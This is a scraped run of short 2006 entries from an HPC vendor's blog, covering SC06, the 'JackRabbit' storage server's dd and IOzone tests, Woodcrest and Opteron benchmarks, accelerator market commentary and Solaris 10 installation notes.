incestuous: they steal … er hire from each other with abandon. It is always enjoyable to visit and see friends with new business cards, new digs, and similar stories of how company X is in the decline and Y is ascendent. https://blog.scalability.org/2006/11/arrived-at-sc06/ Mon, 13 Nov 2006 04:27:06 +0000 https://blog.scalability.org/2006/11/arrived-at-sc06/ Getting here was fun. Most everything went without a hitch. The TSA did not appreciate the larger sized toothpaste and shaving cream in my carry-on. I’ll refrain from commenting on this. I managed to leave my camera at home. Go figure. I will work out a way to get photos posted to http://photos.scalability.org . Hopefully not cell-phone quality, but real ones. Tomorrow night is the opening gala. Then tuesday night is Beo-bash, and the folks at Microsoft have invited a few people to have dinner. https://blog.scalability.org/2006/11/what-is-l-flavigularis/ Mon, 13 Nov 2006 04:19:32 +0000 https://blog.scalability.org/2006/11/what-is-l-flavigularis/ Ok, I have been hinting at something we have been working on for a while. Time to talk a little more about this. This is a server we are calling “JackRabbit”. The L. Flavigularis is a particular sub-species of JackRabbit. It comes in 3U and 5U flavors, and as a storage unit, could support from 6 TB through 36 TB, with 2 to 8 processor cores, and up to 64 GB ram, with multiple gigabit ethernet, Infiniband, and other technologies. https://blog.scalability.org/2006/11/a-hint-of-things-to-come/ Fri, 10 Nov 2006 03:46:57 +0000 https://blog.scalability.org/2006/11/a-hint-of-things-to-come/ Some of my collaborators should have a very interesting announcement about an accelerated life science application coming out soon. Stay tuned… https://blog.scalability.org/2006/11/yet-another-not-so-useful-test-learning-more-things-about-linux-io/ Fri, 10 Nov 2006 02:07:57 +0000 https://blog.scalability.org/2006/11/yet-another-not-so-useful-test-learning-more-things-about-linux-io/ for our little conejo (L. Flavigularis). Create a 128 GB file. Filled with zeros. [root@jackrabbit 2]# time dd if=/dev/zero of=big_file bs=1024000000 count=128 128+0 records in 128+0 records out real 3m59.539s user 0m0.000s sys 3m38.978s [root@jackrabbit 2]# ls -alF big_file -rw-rw---- 1 root landman 131072000000 Nov 8 22:11 big_file [root@jackrabbit 2]# du -h big_file 123G big_file Call it 4 minutes. 240 seconds, to create a 123 GB file. This is a little north of 500 MB/s write. https://blog.scalability.org/2006/11/maximizing-the-minimum-performance/ Fri, 10 Nov 2006 01:27:07 +0000 https://blog.scalability.org/2006/11/maximizing-the-minimum-performance/ Our little L. Flavigularis is shaping up nicely. IOzone tests are, well, quite respectable (bug me at SC06 about this if you are interested). I expect to see some serious FUD from competitors, especially if they get a look at the numbers. And that concerns me, as I am not at all convinced that IOzone and its ilk represent real measurements of meaningful items. I have a strong sense of a “herd” mentality/effect. https://blog.scalability.org/2006/11/l-flavigularis-update/ Wed, 08 Nov 2006 03:58:27 +0000 https://blog.scalability.org/2006/11/l-flavigularis-update/ We took L. Flavigularis out to to a test track in a manner of speaking. IOzone to be specific. We cracked the throttle a bit. Not flat out. Just a speed trial. Wow …. This little critter is fast. The previous numbers … are at the low end of the range. https://blog.scalability.org/2006/11/the-joy-of-broken-dns/ Tue, 07 Nov 2006 00:58:32 +0000 https://blog.scalability.org/2006/11/the-joy-of-broken-dns/ landman@balto ~ $ ping jackrabbit <!-- more --> landman@balto ~ $ nslookup !$ nslookup jackrabbit Server: crunch-r.scalableinformatics.com Address: x.y.z.t Name: jackrabbit Address: 192.168.1.155 landman@balto ~ $ ping jackrabbit ping: unknown host jackrabbit Oh… it gets better. Run strace on ping jackrabbit. I want to know where the failure is. I’ll tell you why in a minute. 487 246858 [main] ping 3308 sig_send: returning 0x0 from sending signal -34 21823 268681 [main] ping 3308 wsock_init: res 0 607 269288 [main] ping 3308 wsock_init: wVersion 514 313 269601 [main] ping 3308 wsock_init: wHighVersion 514 6813 276414 [main] ping 3308 wsock_init: szDescription WinSock 2. https://blog.scalability.org/2006/11/initial-impressions-of-socket-f1207-machine/ Sun, 05 Nov 2006 15:16:14 +0000 https://blog.scalability.org/2006/11/initial-impressions-of-socket-f1207-machine/ We have a machine we are building in the lab now. I am running all sorts of code on it. My impressions? It is a somewhat better Opteron than Opteron. The tests I have run to date indicate that the 2.6 GHz unit is on par with, if not slightly faster than the Woodcrest 2.66 GHz unit. This is mostly heavy computational code: GAMESS runs, a weather code for a customer, and others. https://blog.scalability.org/2006/11/this-is-a-good-thing-if-it-is-real/ Thu, 02 Nov 2006 22:00:18 +0000 https://blog.scalability.org/2006/11/this-is-a-good-thing-if-it-is-real/ Saw this on /. then followed it to the WSJ.. If this is real, then this is a good thing. SuSE is IMO one of the better distributions of Linux, certainly quite professional, and they use a modern kernel. This latter issue is quite important. The 2.6.9 kernel in some dominant north american distributions is dangerously out of date IMO, as they do not support modern hardware without serious effort. SATA was not properly supported until their U2 release of the v4 product. https://blog.scalability.org/2006/11/windsprints-with-l-flavigularis/ Thu, 02 Nov 2006 16:39:40 +0000 https://blog.scalability.org/2006/11/windsprints-with-l-flavigularis/ Taking our little L. flavigularis for a few tests. Its motherboard needs the 2.6.17 and above kernels. Used Ubuntu Edgy Eft (6.10) for it. Even had the latest version of the drivers we needed built in. Install was easy. The specs on the unit are incredible (initial performance data below). Built the disk arrays (ok, started the build, it takes a while). 26TB RAID6 usable before formatting. Cool. 25TB after formatting. https://blog.scalability.org/2006/11/woodcrest-update-day-n1/ Wed, 01 Nov 2006 14:14:14 +0000 https://blog.scalability.org/2006/11/woodcrest-update-day-n1/ So we have had a woodcrest in house for a while now. When we have time we beat on it, we ran codes on it. My impressions are now well formed, and I understand where it makes sense as a platform, and where the competitive technologies make sense. This is not from marketing documents, but from real world testing. Woodcrest is basically an AMD64 platform without the IOMMU. The processor architecture includes a much improved SSE engine, a larger shared cache, and theoretically, a larger memory bandwidth than its competitor. https://blog.scalability.org/2006/10/ot-just-say-no-to-rbl/ Tue, 31 Oct 2006 23:30:28 +0000 https://blog.scalability.org/2006/10/ot-just-say-no-to-rbl/ While spam is on the rise, some people resort to battlefield thermonuclear weapons to solve the issue, not caring about the grave damage they do to legitimate users. Specifically RBLs. RBLs are an old technology. The idea is that you don’t filter content, you block the source. This way you don’t ever have to deal with content you aren’t interested in. They blocking subnets. Things were good. Until someone noticed that legitimate users, who had the IPs in those subnets were being banned. https://blog.scalability.org/2006/10/must-have-hit-a-nerve-with-that-one/ Tue, 31 Oct 2006 19:46:09 +0000 https://blog.scalability.org/2006/10/must-have-hit-a-nerve-with-that-one/ A number of folks have spoken to me offline now about this post. Seems like a number of “vendors” drop boxes off that sometimes work, and sometimes do not. Anyone have experience with this they would like to share? https://blog.scalability.org/2006/10/not-a-bandwidth-record-but/ Tue, 31 Oct 2006 19:03:33 +0000 https://blog.scalability.org/2006/10/not-a-bandwidth-record-but/ Ok… I moved 34.5 TB between two sites in about 30 minutes. This is a hair under 70 TB/hour. About 19.4 GB/s. Not bad, eh? The technology that brought you this? A 10 year old jeep. I carried 46 x 750 GB drives in my truck as I moved them from site A to site B, about 30 miles (~50km) apart. https://blog.scalability.org/2006/10/the-lack-of-quality-of-motherboards/ Tue, 31 Oct 2006 01:17:44 +0000 https://blog.scalability.org/2006/10/the-lack-of-quality-of-motherboards/ We do everything we can to stop failing subsystems from ever entering our customers hands. We beat on our systems, usually with loads far in excess of what our customers will do. No, not using memtest. We run real codes. And we catch lots of problems. What surprises me, really gets to me, is that some motherboard makers (who shall remain nameless) ship product to their customers (us) for integration into our products, or as subsystems into products we buy from others, and this product does not work. https://blog.scalability.org/2006/10/built-for-raw-firepower/ Thu, 26 Oct 2006 06:23:11 +0000 https://blog.scalability.org/2006/10/built-for-raw-firepower/ Working on a cool project, hopefully I will get to say something soon about it. If you are at SC06, and you see me, ask me about it. I installed its brain (a pair of Opteron 2218’s) and lungs today. Have a few other bits to install; our L. flavigularis is taking shape. Taking pictures as I go. Will post after we are complete. After it is finished, will apply the power. https://blog.scalability.org/2006/10/the-good-enough-factor-or-how-to-make-yourself-irrelevant-in-the-market/ Tue, 24 Oct 2006 05:09:18 +0000 https://blog.scalability.org/2006/10/the-good-enough-factor-or-how-to-make-yourself-irrelevant-in-the-market/ This post has been through countless iterations. I have written/rewritten it a multitude of times, because I was looking for a way to say it, but never quite settled on a particular manner. So here it is … stream of conciousness and all that. We had lost a few bids recently, and while I don’t want to comment on to whom or for whom, I want to comment on “why”. The reason I want to comment on the “why” is that it has importance to the market, and those whom forget this “why” are doomed to make the same mistakes. https://blog.scalability.org/2006/10/semi-live-blogging-sc06/ Tue, 24 Oct 2006 01:34:11 +0000 https://blog.scalability.org/2006/10/semi-live-blogging-sc06/ Well I am all registered. I plan on using a better camera this year, and reading the manual in advance. No more sideways movies (sheesh!). Photos / movies will be at photos.scalability.org . I may show a bias towards accelerated computing and accelerated processing, so please forgive this in advance. If there are particular items that you think are interesting, please let me know. It is a big show, and it is hard to see all/most of it. https://blog.scalability.org/2006/10/of-small-decisions-large-migrations-come-to-pass/ Tue, 24 Oct 2006 01:23:51 +0000 https://blog.scalability.org/2006/10/of-small-decisions-large-migrations-come-to-pass/ I had heard of some changes in the windows licensing model. Windows licensing is relevant if you are building a windows cluster, as you now have a new set of costs and usage restrictions atop your machine, that you simply don’t have with the alternatives. Lets focus upon the question that cluster builders have to face. So you have this nice shiny new cluster with 30 or so new machines. You know you are going to cycle machines in and out of the cluster. https://blog.scalability.org/2006/10/this-is-wrong-so-very-very-wrong/ Sat, 21 Oct 2006 15:27:12 +0000 https://blog.scalability.org/2006/10/this-is-wrong-so-very-very-wrong/ I was searching for some data on drift/group velocity of charge carriers in semiconductors for something I am working on. Yeah, I know, nice stuff to google for. I ran across this. I nearly fell out of my chair. https://blog.scalability.org/2006/10/the-right-tools-for-the-job/ Sun, 15 Oct 2006 03:53:34 +0000 https://blog.scalability.org/2006/10/the-right-tools-for-the-job/ Reading through some of the most interesting papers at the upcoming SC06 show. Yes, we will be there wandering around. I read an interesting paper from the originators of mpiBLAST. They had a great quote about developing very high performance computing tools, specifically in terms of tying multiple other tools together. They used Perl to do this. For good reason. Here is the quote: I am not trying to denigrate C/C++. https://blog.scalability.org/2006/10/the-long-term-impact-of-poor-decisions-and-implementations/ Fri, 13 Oct 2006 19:09:18 +0000 https://blog.scalability.org/2006/10/the-long-term-impact-of-poor-decisions-and-implementations/ We often get interesting requirements for clusters. Sometimes we speak to people who believe that clock frequency defines the speed of the unit, so therefore, a 3.6 GHz processor must be faster than a 2.66 GHz processor. This is not the case (clock frequency == performance), but it has been hammered home by one OEM (cough cough) for a long time, so their customers are attuned to it. Makes it hard to explain to a customer how a 2. https://blog.scalability.org/2006/10/drinking-the-koolaid-by-the-megaliter/ Mon, 09 Oct 2006 21:00:41 +0000 https://blog.scalability.org/2006/10/drinking-the-koolaid-by-the-megaliter/ We have been talking about application acceleration, and heterogenous computing for quite a while now. Call it HPC and you scare off anyone who might otherwise be interested in helping to build the future of computing. It really doesn’t matter what you call it at the end of the day. It is coming. Fast. Fine. Lets call it Accelerated Computing (AC for short). I have a reason for this. Accelerated computing is not just for high performance computing. https://blog.scalability.org/2006/10/confluence/ Mon, 09 Oct 2006 20:34:55 +0000 https://blog.scalability.org/2006/10/confluence/ Deepak over at the always enjoyable mndoci.com blog asked a great question. Its the question about the utility of any technology, and specifically he asked whether or not APUs and accelerators in general would be useful. Around the same time, a BAA was released by the US Government requesting people start giving accelerated computing a serious look for their applications, though they didn’t indicate the applications explicitly, one could guess about this. https://blog.scalability.org/2006/10/when-one-paragraph-says-it-all/ Mon, 09 Oct 2006 20:23:04 +0000 https://blog.scalability.org/2006/10/when-one-paragraph-says-it-all/ Today at HPCwire. They have a quote on the Tokyo Tech machine. (my emphasis) I remember the VC’s asking me, “but how do you know this will even matter in HPC?” during our pitch. Now I can say, “Hindsight”. https://blog.scalability.org/2006/10/apologies-for-the-recent-infrequent-posting/ Fri, 06 Oct 2006 02:39:38 +0000 https://blog.scalability.org/2006/10/apologies-for-the-recent-infrequent-posting/ My time is a zero sum game. My day job kicked into serious overdrive in the last few weeks, and I simply haven’t had cycles to surface. Will try to force this over the weekend. Lots to write about. Like the accelerator market going into warp drive (pun intended), a really interesting BAA from the USG. And of course people who want and need things … all of these do a really good job of driving “free” time down to 0. https://blog.scalability.org/2006/09/slightly-ot/ Fri, 29 Sep 2006 06:50:08 +0000 https://blog.scalability.org/2006/09/slightly-ot/ Given the discussions on this and other web sites by biased partisans (myself included), I thought this headline (SMB Linux use on the rise) and article was interesting. The major thesis is interesting, but the data contained within is startling. First, they note that Linux isn’t the selling point. Something we have pointed out here before, the OS is not the issue. Its the applications. It is always the applications. People claiming that the issue is the installation of the OS are missing the boat. https://blog.scalability.org/2006/09/generating-an-optimal-circuit-from-a-language-construct/ Sat, 23 Sep 2006 05:40:04 +0000 https://blog.scalability.org/2006/09/generating-an-optimal-circuit-from-a-language-construct/ We use high level languages to provide an abstraction against the hardware, OS, system services we want to use. The compiler is responsible for this mapping. So when I write a simple loop for(i=1;i<N;i++) { a[i] = b[i] +c[i]; } or for you Fortran types out there do i=0,N-1 a(i)=b(i)+c(i) enddo The compiler will turn that into an assembly language loop, which loads an iteration counter (i) into a register, either load registers with a[i], b[i], and c[i], or do memory operations to load compute and then save. https://blog.scalability.org/2006/09/for-a-market-that-some-claim-does-not-exist-this-is-attracting-lots-of-attention-and-product/ Wed, 20 Sep 2006 19:33:55 +0000 https://blog.scalability.org/2006/09/for-a-market-that-some-claim-does-not-exist-this-is-attracting-lots-of-attention-and-product/ Interesting. Just like we predicted several years ago. The winners in any APU contest will be the ones that can leverage economies of scale. At a few hundred dollars per unit, the Cell is likely to dominate due to the PS3 volume anticipated. The ATI, and if nVidia comes out with Quadro Plex in time, systems will also be quite relevant. Several thousand dollars per APU (ala current Virtex 4/Altera pricing) is a non-starter. https://blog.scalability.org/2006/09/to-abstract-or-not-to-abstract-that-is-the-question/ Wed, 20 Sep 2006 15:44:58 +0000 https://blog.scalability.org/2006/09/to-abstract-or-not-to-abstract-that-is-the-question/ … Whether ‘tis nobler in the developers mind to suffer The slings and arrows of outrageous application performance, Or to take arms against a sea of development troubles And by abstraction end them? – “Bill S” on whether or not to use higher level abstractions when programming for performance. Ok, “Bill” didn’t really write that, his text was paraphrased and adapted. I am also pretty sure he wasn’t writing parallel code (parallel prose maybe). https://blog.scalability.org/2006/09/the-market-for-accelerators-and-apus/ Wed, 20 Sep 2006 03:32:18 +0000 https://blog.scalability.org/2006/09/the-market-for-accelerators-and-apus/ The PeakStream news, raising $17M in a B round was wonderful to hear about. I am happy for them, and wish them success. Recently I read that Linux Networx raised money as well. LNXI is also an interesting company. Maybe this is the harbinger of good things to come. I don’t know. In either case, PeakStream’s product has some limitations as an accelerator, due to the single precision focus. Linux Networx also announced its own accelerators recently, though I don’t know how much has been released publically at this point about them, or if customers have them and have reactions yet. https://blog.scalability.org/2006/09/apu-programming-made-easy/ Tue, 19 Sep 2006 06:19:28 +0000 https://blog.scalability.org/2006/09/apu-programming-made-easy/ The folks over at Peakstream have some interesting ideas. Very similar to what we have been talking about and pitching for the past 4 years. One difference is that they have just closed a series B round, and we can’t seem to find any interest. It’s the location. Ok, on to the concept. Abstract the complexity. Make the programming simpler. Make it easy to integrate. Make it seamless. Remove restrictions. Sounds good, right? https://blog.scalability.org/2006/09/breaking-mirror-symmetry-in-hpc/ Fri, 15 Sep 2006 05:34:00 +0000 https://blog.scalability.org/2006/09/breaking-mirror-symmetry-in-hpc/ If you are not already reading HPCWire on a regular basis, I do recommend it as one of the “must” weekly aggregation sites. They have an interesting article on the “coming” heterogeneous computing systems. Neat idea, but heterogeneous supercomputing systems are already here. Have been for a while. In massive numbers. Working on specialized HPC problems. More about this in a moment. HPC has a concept built into it. Symmetric multiprocessing, or SMP systems. https://blog.scalability.org/2006/09/is-there-a-need-for-supercomputing/ Fri, 08 Sep 2006 04:33:30 +0000 https://blog.scalability.org/2006/09/is-there-a-need-for-supercomputing/ Why not ask the Council on Competitiveness. Or the businesses that have grown dependent upon simulation? Well, not all of them are doing well. Ford’s troubles are fairly well known, but this is not a supercomputing issue, it is a business conditions issue. Dreamworks and Boeing aren’t in trouble, they are doing well. As are many of the others who attended this meeting. All of them appear to indicate that they need more computing power and more software that can take advantage of this power. https://blog.scalability.org/2006/09/apus-in-the-news/ Thu, 07 Sep 2006 00:43:32 +0000 https://blog.scalability.org/2006/09/apus-in-the-news/ Referencing this article. When we talked to a few VC’s previously about APUs, we were asked to show that there would be demand. Kind of hard to do so in advance of the market, but we made rough estimates. Earlier this year, ClearSpeed took its reference design board and started selling it. Sure enough people bought it. Because it does a number of things quite well. At a lower power consumption. https://blog.scalability.org/2006/09/a-teraflop-here-a-teraflop-there-and-pretty-soon-you-are-talking-about-real-computing-power/ Thu, 07 Sep 2006 00:22:57 +0000 https://blog.scalability.org/2006/09/a-teraflop-here-a-teraflop-there-and-pretty-soon-you-are-talking-about-real-computing-power/ It seems IBM will be building another new NNSA machine. So whats interesting about this, other than IBM getting good press? Well this appears to be part of a growing wave of heterogenous high performance computing systems. Roadrunner appears to be a mix of COTS Opteron hardware, and Cell based blades as Accelerator Processing Units (APUs). Why is that interesting? Programming parallel systems is hard. Programming heterogenous parallel systems is … interesting. https://blog.scalability.org/2006/09/end-of-an-era-or-architecture/ Wed, 06 Sep 2006 20:59:52 +0000 https://blog.scalability.org/2006/09/end-of-an-era-or-architecture/ SGI is standing down Irix and MIPS architectures. Likely one of the harder decisions they have had to make, these would not have been selling much as of late. MIPS was hopelessly long in the tooth, and Irix, while one of the better Unixen out there (IMO), was closely tied to MIPS. In the end Irix could not keep and continue to attract applications. When this happens enough, your platform becomes less desireable. https://blog.scalability.org/2006/08/the-best-api-for-parallel-programming-is/ Thu, 31 Aug 2006 20:39:57 +0000 https://blog.scalability.org/2006/08/the-best-api-for-parallel-programming-is/ Loaded question. OpenMP may be the simplest to work with. MPI is not. The differences are that OpenMP is integrated as a set of compiler hints and is restricted to shared memory machines. MPI are explicit calls to user level communication routines, that handle data motion for you, you simply point at what to move. While I wish it were that simple in terms of the differences, there are other major ones. https://blog.scalability.org/2006/08/finale-michigans-21st-century-fund/ Thu, 31 Aug 2006 14:34:31 +0000 https://blog.scalability.org/2006/08/finale-michigans-21st-century-fund/ I have updated a post from a while ago. Call this a rant, a vent, whatever. I am saddened that we wasted so much time on this process. This is not a mistake that will be repeated. I like to tell people that if you design something to fail, often that is exactly what happens. Back to business. Update: 4-Sept-2006 We aren’t the only folks to notice that something is not quite right. https://blog.scalability.org/2006/08/thou-dost-protesteth-too-much-methinks/ Wed, 30 Aug 2006 14:28:33 +0000 https://blog.scalability.org/2006/08/thou-dost-protesteth-too-much-methinks/ I read an amusing article linked to by the fine folks over at slashdot. In the Infoworld article that slashdot points to the title sets the tone. It is entitled “Linux will get buried”. I am going to look at this from an HPC viewpoint. Apple is, and will remain for the forseeable future, a hardware company. All the software that it does, it does for no other reason than to sell hardware. https://blog.scalability.org/2006/08/on-interoperable-and-portable-environments/ Tue, 29 Aug 2006 00:18:14 +0000 https://blog.scalability.org/2006/08/on-interoperable-and-portable-environments/ or, as Chris over at hpcanswers.org asks, Why did Microsoft release C#? And what has this got to do with HPC? Quite a bit. Call it an opportunity that is currently in the state of being missed by the maker of C#. More about that in a moment. Chris postulates Possibly, though I think it is a bit more complex than that. Basically my take on things is that the whole Java fiasco hurt Microsoft … not technologically, not in a market sense. https://blog.scalability.org/2006/08/on-bottlenecks/ Mon, 28 Aug 2006 05:32:26 +0000 https://blog.scalability.org/2006/08/on-bottlenecks/ At BiO Jeff linked to a story from earlier this year on where the bottlenecks really are in computing. The article he linked to was posted in the American Scientist online magazine. The major thesis of the article is that performance is not the only, or as the title implies, real bottleneck, in scientific computing. I might suggest reading the article if you get the chance. I don’t agree with their major thesis implied in the title. https://blog.scalability.org/2006/08/invariant-under-change-of-notation/ Thu, 24 Aug 2006 02:40:34 +0000 https://blog.scalability.org/2006/08/invariant-under-change-of-notation/ This was the “joke” about tensors that one of my graduate school professors told us when we were trying to grok a sudden notational shift. Took some hard thinking, and then we sorta got it. Well enough to work out a problem. Hopefully to be useful in later life. Well, 17 years (wow…. that long?) later, I am writing some quick code to transform a data set extracted in XML into another data set. https://blog.scalability.org/2006/08/an-amalgam-of-recent-conversations/ Fri, 18 Aug 2006 14:40:20 +0000 https://blog.scalability.org/2006/08/an-amalgam-of-recent-conversations/ This would normally be OT with respect to HPC, if not for Microsoft starting to compete with one of the fastest growing and sustaining markets. Rather than report all the conversations we have had, I am going to synthesize them into an effective “single” conversation. This has happened about 5 times this week, online, in person, visiting customers, and so forth. Them: “We need low cost and highly secure methods of accessing our cluster resources. https://blog.scalability.org/2006/08/is-opensolaris-open/ Thu, 17 Aug 2006 20:03:43 +0000 https://blog.scalability.org/2006/08/is-opensolaris-open/ As seen on /. IBM is questioning whether or not it is really open. I think the real question is, does it matter? I really don’t see a need for it. The market is positively crowded with OpenSouce Linux, *BSD. OpenSource should not be a repository for declining projects. From an ISV perspective, you have to ask “why”? Precisely what benefit in terms of lower costs and increased revenue does being on Solaris bring? https://blog.scalability.org/2006/08/graphics-benchmarking/ Wed, 16 Aug 2006 17:34:52 +0000 https://blog.scalability.org/2006/08/graphics-benchmarking/ A friend who runs a very cool display company (true 3D volumetric displays, not spinning things), asked me to do a quick benchmark for him. As I was freshly done with some other GLperf stuff, I agreed. FWIW getting GLperf to compile on late model Linux is … well… interesting. Especially the 64bit versions. Lots of hardwired bits in the build. Annoying. His test was fairly simple, but it hit the critical points he needed to hit. https://blog.scalability.org/2006/08/4-on-the-floor-or-in-the-socket/ Wed, 16 Aug 2006 00:59:02 +0000 https://blog.scalability.org/2006/08/4-on-the-floor-or-in-the-socket/ (aka the QUADs are coming, the QUADs are coming) I was worried about memory bandwidth in the dual core time frame. Turned out to not be a problem for most codes. I will need to see more on the AM3. Punch line is that AM3 is socket compatible with AM2. Wow. Will it have enough bandwidth for 4 cores in a single unit? We are going to need to start talking about bandwidth per socket. https://blog.scalability.org/2006/08/new-programming-workshop-perl-and-r-for-informatics/ Tue, 15 Aug 2006 19:22:21 +0000 https://blog.scalability.org/2006/08/new-programming-workshop-perl-and-r-for-informatics/ The good folks over at BioInformatics.org have a new workshop ready to go on programming in [Perl and R. See this link for more details. If there is interest in having this outside of Boston, please let me know. https://blog.scalability.org/2006/08/woodcrest-impressions/ Tue, 15 Aug 2006 15:11:30 +0000 https://blog.scalability.org/2006/08/woodcrest-impressions/ Ok, its about 2 weeks into the woodcrest experiment. I am starting to form opinions about woodcrest, where it is good, where it is hohum. First off, woodcrest appears to give really good artificial benchmark. In some cases. Artificial benchmarks are those which are not programs that people run every day with everyday work loads. Synthetic benchmarks are more of the “hundred kernels” variety. Both artificial and synthetic benchmarks have their place. https://blog.scalability.org/2006/08/blogmarketing/ Tue, 15 Aug 2006 14:56:05 +0000 https://blog.scalability.org/2006/08/blogmarketing/ I have noticed a propensity for corporate “bloggers” to somehow turn discussions around to the point where they can do a product placement, or somehow hype their own stuff. Think of things like “so the Yankees will win the series, and this is why our product X is the best”. I kid you not. Blogging is, or can be, an expression of self. Not arguing for philosophical purity or anything like that. https://blog.scalability.org/2006/08/notes-about-this-blog/ Thu, 03 Aug 2006 17:37:21 +0000 https://blog.scalability.org/2006/08/notes-about-this-blog/ Some readers may misunderstand this blog. Blogs in general are places to get thoughts down, in a public forum, and invite discussion. Sort of an open-source idea site. Download an opinion and fork it if you like, ignore it if you wish. It is a reflection of each person, how they view the world, and how they think, and their approach to life that filters into this stuff. Elements of personality are in there. https://blog.scalability.org/2006/08/accelerator-processor-units-apus-for-non-scientific-applications/ Thu, 03 Aug 2006 16:15:16 +0000 https://blog.scalability.org/2006/08/accelerator-processor-units-apus-for-non-scientific-applications/ I have been talking with a person about using FPGAs to accelerate non-scientific applications, business applications recently. The idea is fundamentally interesting. HPC is not the only thing that needs acceleration. My question is this: Where are the critical pain points, what processing takes a great deal of time that people would be willing to spend, I dunno, $10,000 US to make go faster? I am using $10,000 US as a rough guess. https://blog.scalability.org/2006/08/sgi-updates/ Thu, 03 Aug 2006 16:01:04 +0000 https://blog.scalability.org/2006/08/sgi-updates/ I haven’t said anything about SGI recently, been too busy with other things. This is good, but much has been happening in SGI land. First, I had wondered whether or not SGI stake holders would get anything out of the company … that is, whether or not it would survive the bankruptcy proceedings. It does appear to be navigating those waters well, but it is worth noting a few things in case you haven’t followed the story. https://blog.scalability.org/2006/08/when-i-calls-them-i-really-calls-them/ Wed, 02 Aug 2006 18:08:00 +0000 https://blog.scalability.org/2006/08/when-i-calls-them-i-really-calls-them/ See this bit of propaganda and the money quotes on Linux within Let me get this straight … I want to make sure I understand this … You really want your expensive HPC computing resource/platform setup by someone who doesn’t know HPC? Sort of like you wanting that expensive database server set up by a windows technician with no knowledge of databases? Or that nice web server set up by someone with no knowledge of web servers. https://blog.scalability.org/2006/08/woodcrest-part-3/ Wed, 02 Aug 2006 03:27:02 +0000 https://blog.scalability.org/2006/08/woodcrest-part-3/ Just when I thought I understood things … Ran the original test case that we ran previously, but with the rebuilt GAMESS with a modern compiler. Ran one on the 2.66 GHz Woodcrest, one on the 2.2 GHz Opteron. Both are dual core, I don’t have a 2.4 or 2.6 GHz dual core set of Opterons to put into a machine. Used 4 way parallel on shared memory machine. Woodcrest has a 2x cache size advantage, has a 30% faster memory system, and about a 20% clock speed advantage. https://blog.scalability.org/2006/08/woodcrest-part-2/ Tue, 01 Aug 2006 20:57:31 +0000 https://blog.scalability.org/2006/08/woodcrest-part-2/ So by now you know I ran an old binary and an old test on the Woodcrest and Opteron. I wasn’t impressed with the results, the hype was out of proportion with the reality. Lets assume that Intel suggests we recompile our code. I pulled down a new GAMESS (the 2-2006 variant), built it with the PGI compiler, though I had to do some option tweaking, it was otherwise OK, and ran it. https://blog.scalability.org/2006/07/weve-got-a-woodcrest/ Mon, 31 Jul 2006 20:09:49 +0000 https://blog.scalability.org/2006/07/weve-got-a-woodcrest/ for testing/development and other purposes. Config is reasonable, with an upgrade later today. 2 x 2.66 GHz (5130) processors, 4 GB ram, nice video card (Quadro FX/4500). Installed SuSE 10.1 with updates/patches. My expectations were that this machine would positively blow the doors off of a similarly clocked Opteron (252). Given the massive hype around Woodcrest, this is what one might expect. If you are going to hype like mad, you need to be able to deliver on the hype. https://blog.scalability.org/2006/07/how-to-lose-a-market-without-really-trying/ Thu, 27 Jul 2006 15:49:11 +0000 https://blog.scalability.org/2006/07/how-to-lose-a-market-without-really-trying/ We are working on some benchmarks for a customer. This is a commercial code, closed source, MPI based. Cluster in question is an Infinipath based system. I cannot say enough good things about the HTX based Infinipath systems, they are very fast, very low latency. And they come with an MPI stack. Ok, let me give you a hint where this is going. The benchmark could not run, as the code could not run on the nice super fancy Infinipath system. https://blog.scalability.org/2006/07/21st-century-postmortem/ Thu, 20 Jul 2006 15:12:50 +0000 https://blog.scalability.org/2006/07/21st-century-postmortem/ About a week has passed, and a friend said something quite interesting about this. Michigan has decided not to invest in Michigan’s future. Amusing. The commercialization areas that we submitted for were to be scored on Scientific and Technical basis, Personnel, Commercialization Merit, an fund leverage. The first sentance of the review sets the tone. “The technical merit of this proposal could be phenomenal, but there is a lack of explanation of the important underlying science. https://blog.scalability.org/2006/07/21st-century-update/ Thu, 13 Jul 2006 19:14:31 +0000 https://blog.scalability.org/2006/07/21st-century-update/ Results are in and we did not advance. Good luck to the advancers. Update: Looking over the results, not a single advanced computing project was advanced. HPC was completely ignored which runs counter to what they said they would do. Lots of automotive bits were advanced. The message for a small HPC company located in Michigan is sadly getting clearer. https://blog.scalability.org/2006/07/21st-century-nonupdate/ Thu, 13 Jul 2006 16:57:38 +0000 https://blog.scalability.org/2006/07/21st-century-nonupdate/ We have been patiently waiting to hear whether or not we advanced to the next round. We already know the fate of one proposal which we helped on, but was not one of our own submissions. That was discarded on a technicality, basically an index entry reporting on confidential material and color pages was not pointing to the right pages according to the report back from the compliance tester. Not screened for content, as it did not pass screening for format. https://blog.scalability.org/2006/07/thoughts-on-solaris-10/ Tue, 11 Jul 2006 23:04:05 +0000 https://blog.scalability.org/2006/07/thoughts-on-solaris-10/ I have opined here that I do not believe that Solaris will overtake Linux’s lead in HPC clusters. This does not mean that I don’t think it can have a role. Basically, imagine you have to deliver a service. Something like Google. The end user of Google doesn’t care what OS the underlying software runs on. They care about their usage. Same with the end user of Yahoo, Slashdot, Digg, … . https://blog.scalability.org/2006/07/apologies/ Tue, 11 Jul 2006 22:35:07 +0000 https://blog.scalability.org/2006/07/apologies/ Folks, we are getting spammed. If something gets through, please note that I want to apologise in advance and I will handle it as soon as possible. If I miss something, fire me a note. https://blog.scalability.org/2006/07/test-drive-of-the-606-solaris-10-part-2-usage/ Sat, 08 Jul 2006 23:02:54 +0000 https://blog.scalability.org/2006/07/test-drive-of-the-606-solaris-10-part-2-usage/ The machine is up. If you don’t know about Blastwave, it is a helpful resource. Once you set up your machine, mozy over there, and get all the tools you would otherwise be missing. nVidia graphics, pulled down the Solaris nVidia binary, installed it, rebooted and up it came. nVidia makes great chips and great drivers. We are lucky they are still supporting Solaris. We have an Itanium2 linux box here where the nVidia drivers are built for the old XFree86 versus xorg used in Centos 4. https://blog.scalability.org/2006/07/test-drive-of-the-606-solaris-10-part-1-installation/ Fri, 07 Jul 2006 21:13:22 +0000 https://blog.scalability.org/2006/07/test-drive-of-the-606-solaris-10-part-1-installation/ My experience with the 1/06 Solaris 10 was, well, less than good. I came away with the impression of a system that is very hard to install, one might say extraordinarily hard to install, with few supported systems. Video didn’t work, networking required going to an unsupported freeware site, pulling down a binary driver, and doing something akin to insmod in linux. I was simply not impressed with the installation. It was horrible. https://blog.scalability.org/2006/07/followup-to-another-conversation/ Fri, 07 Jul 2006 19:51:25 +0000 https://blog.scalability.org/2006/07/followup-to-another-conversation/ For reasons I don’t quite understand WP seems to have eaten Dan’s post.?? Here it is, re-replicated: Looks like we both have trouble being succinct! Thanks for the Linux lessons.?? 